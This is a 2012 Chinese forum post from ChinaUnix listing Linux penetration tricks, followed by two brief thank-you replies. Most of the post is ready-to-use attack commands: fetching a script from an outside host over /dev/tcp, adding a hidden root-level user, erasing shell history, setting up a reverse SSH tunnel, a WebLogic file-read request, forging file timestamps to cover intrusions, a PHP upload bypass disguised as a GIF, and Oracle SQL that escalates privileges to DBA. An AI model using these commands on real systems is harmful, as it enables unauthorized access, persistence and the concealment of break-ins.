免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1713 | 回复: 2
打印 上一主题 下一主题

linux常用渗透小技巧 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2012-01-19 23:44 |只看该作者 |倒序浏览
linux常用渗透小技巧







1.无wget nc等下载工具时下载文件
  1. exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e "GET /c.pl HTTP/1.0\n" >&5 && cat<&5 > c.pl
  2. 复制代码
复制代码
2.Linux添加uid为0的用户
  1. useradd -o -u 0 cnbird
  2. 复制代码
复制代码
3.bash去掉history记录
  1. export HISTSIZE=0

  2. export HISTFILE=/dev/null
  3. 复制代码
复制代码
4.SSH反向链接
  1. ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip -p 指定远端服务器SSH端口
  2. 复制代码
复制代码
然后服务器上执行ssh localhost  -p 44即可

5.weblogic本地读取文件漏洞
  1. curl -H "wl_request_type: wl_xml_entity_request" -H "xml-registryname: ../../" -H "xml-entity-path: config.xml" http://server/wl_management_internal2/wl_management
  2. 复制代码
复制代码
6.apache查看虚拟web目录
  1. ./httpd -t -D DUMP_VHOSTS
  2. 复制代码
复制代码
7.cvs渗透技巧
  1. CVSROOT/passwd   UNIX SHA1的密码文件

  2. CVSROOT/readers

  3. CVSROOT/writers

  4. CVS/Root   

  5. CVS/Entries     更新的文件和目录内容

  6. CVS/Repository
  7. 复制代码
复制代码
8.Cpanel路径泄露
  1. /3rdparty/squirrelmail/functions/plugin.php
  2. 复制代码
复制代码
9.修改上传文件时间戳(掩盖入侵痕迹)
  1. touch -r 老文件时间戳 新文件时间戳
  2. 复制代码
复制代码
10.利用baidu和google搜索目标主机webshell
i
  1. ntitleHPJackal 1t1t
  2. 复制代码
复制代码
11.包总补充
创建临时“隐藏”目录 mkdir /tmp/...
/tmp/...目录在管理员有宿醉的情况下是“隐藏”的,可以临时放点exp啥的

12.利用linux输出绕过gif限制的图片
  1. printf "GIF89a\x01\x00\x01\x00<?php phpinfo();?>" > poc.php
  2. 复制代码
复制代码
13.读取环境变量对于查找信息非常有帮助
  1. /proc/self/environ
  2. 复制代码
复制代码
14.最新的ORACLE 11提升用户权限(只要session权限)
  1. DBMS_JVM_EXP_PERMS 中的IMPORT_JVM_PERMS
  2. 复制代码
复制代码
判断登陆权限
  1. select * from session_privs;

  2. CREATE SESSION



  3. select * from session_roles;



  4. select TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY WHERE GRANTEE = 'GREMLIN(用户名)';



  5. DESC JAVA$POLICY$



  6. DECLARE

  7. POL DBMS_JVM_EXP.TEMP_JAVA_POLICY;

  8. CURSOR C1 IS SELECT 'GRANT' USER(), 'SYS', 'java.io.FilePermission', '<<ALL FILES>>', 'execute', 'ENABLE' FROM DUAL;

  9. BEGIN

  10. OPEN C1;

  11. FETCH C1 BULK COLLECT INTO POL;

  12. CLOSE C1;

  13. DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

  14. END;

  15. /



  16. connect / as sysdba

  17. COL TYPE_NAME FOR A30;

  18. COL NAME FOR A30;

  19. COL_ACTION FOR A10;

  20. SELECT TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY WHERE GRANTEE = '用户';
复制代码
connect 普通用户
  1. set serveroutput on

  2. exec dbms_java.set_output(10000);



  3. SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID', 'oracle/aurora/rdbms/DbmsJava', 'SYS', 'writeOutputToFile', 'TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0, 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO 用户''; END;', 'BEGIN NULL; END;') FROM DUAL;



  4. EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOWS('NO_SUCH_SUBSCRIPTION', SYSDATE());



  5. set role dba;



  6. select * from session_privs;



  7. EXEC SYS.VULNPROC('FOO"||DBMS_JAVA.SET_OUTPUT_TO_SQL("ID","DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE""GRANT DBA TO PUBLIC"";DBMS_OUTPUT.PUT_LINE(:1);END;","TEXT")||"BAR');



  8. SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Test') FROM DUAL;

  9. SET ROLE DBA;
  10. 复制代码
复制代码
15. webLogic渗透技巧
四. Weblogin Script Tool(WLST)

写入到<Domain_home>\\config\\config.xml

1.进行修改:
  1. <bea_home>\wlserver_10.0\server\bin\setWLSenv.sh
  2. 复制代码
复制代码
2.启动WLST
  1. java weblogic.WLST



  2. wls:/offline> connect('admin', 'admin', 't3://127.0.0.1:7001')

  3. wls:/bbk/serverConfig> help()



  4. wls:/bbk/serverConfig> edit()

  5. wls:/bbk/serverConfig> cd('Servers')

  6. wls:/bbk/serverConfig/Server-cnbird> cd('Log')

  7. wls:/bbk/serverConfig/Server-cnbird/log> cd('Server-cnbird')

  8. wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird> startEdit()

  9. wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> set('FileCount', '4')

  10. wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> save()

  11. wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> activate() 提交对应Active Change

  12. wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> disconnect()

  13. wls:/offline> exit()
  14. 复制代码
复制代码
3.批处理:
保存以上命令为cnbird.py
  1. connect('admin', 'admin', 't3://127.0.0.1:7001')

  2. cd('Servers')

  3. cd('Log')

  4. cd('Server-cnbird')

  5. startEdit()

  6. set('FileCount', '4')

  7. save()
  8. 复制代码
复制代码
然后执行java weblogic.WLST cnbird.py

论坛徽章:
0
2 [报告]
发表于 2012-01-19 23:45 |只看该作者
谢谢分享

论坛徽章:
0
3 [报告]
发表于 2012-01-20 23:09 |只看该作者
记录,做个标记
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP